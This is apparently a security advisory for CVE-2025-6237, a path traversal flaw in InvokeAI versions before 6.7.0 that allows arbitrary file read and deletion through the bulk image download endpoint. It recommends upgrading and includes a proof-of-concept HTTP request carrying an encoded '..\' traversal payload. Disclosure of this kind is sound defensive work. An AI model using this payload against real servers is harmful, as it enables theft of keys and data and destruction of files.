External Control of File Name or Path Affecting invokeai package, versions [,6.7.0)
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- published19 Sept 2025
- disclosed18 Sept 2025
- creditDuc Anh Nguyen
Introduced: 18 Sep 2025
CVE-2025-6237 (opens in a new tab)How to fix?
Upgrade InvokeAI to version 6.7.0 or higher.
Overview
InvokeAI is an An implementation of Stable Diffusion which provides various new features and options to aid the image generation process
Affected versions of this package are vulnerable to External Control of File Name or Path via the GET /api/v1/images/download/{bulk_download_item_name} endpoint. An attacker can read and delete arbitrary files on the server, including sensitive files such as SSH keys, databases, and configuration files, by manipulating the filename arguments.
PoC
GET /api/v1/images/download/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cBugs%5ctest.txt HTTP/1.1
Host: invoke.ai:9090
Referer: http://invoke.ai:9090/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive